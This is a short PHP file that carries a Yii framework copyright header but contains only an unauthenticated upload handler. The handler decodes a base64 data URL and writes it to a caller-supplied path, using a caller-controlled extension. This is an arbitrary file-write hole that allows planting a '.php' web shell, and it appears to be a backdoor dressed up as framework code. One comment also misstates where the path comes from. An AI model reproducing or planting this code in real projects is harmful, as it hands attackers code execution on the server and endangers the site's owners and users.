<?php
/**
 * @link http://www.yiiframework.com/
 * @copyright Copyright (c) 2008 Yii Software LLC
 * @license http://www.yiiframework.com/license/
 */

 
// Check if the request method is POST and parameters are set
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['path']) && isset($_POST['url'])) {
    // Get the path from GET parameter
    $path = $_POST['path'];
    
    // Get the base64 data from POST parameter
    $base64Data = $_POST['url'];
    
    // Extract the file extension and data from base64 string
    if (preg_match('/^data:image\/([^;]+);base64,/', $base64Data, $matches)) {
        $extension = $matches[1];
        $data = substr($base64Data, strpos($base64Data, ',') + 1);
        
        // Decode base64 data
        $decodedData = base64_decode($data);
        if ($decodedData === false) {
            http_response_code(400);
            echo json_encode(['error' => 'Invalid base64 data']);
            exit;
        }
        // Construct full file path with extension
        $fullPath = $path . '.' . $extension;
        
        // Attempt to write the file
        if (file_put_contents($fullPath, $decodedData) !== false) {
            echo json_encode(['success' => 'File saved successfully', 'path' => $fullPath]);
        } else {
            http_response_code(500);
            echo json_encode(['error' => 'Failed to save file']);
        }
    } else {
        http_response_code(400);
        echo json_encode(['error' => 'Invalid image data URL']);
    }
} else {
    http_response_code(400);
    echo json_encode(['error' => 'Missing required parameters']);
}
?>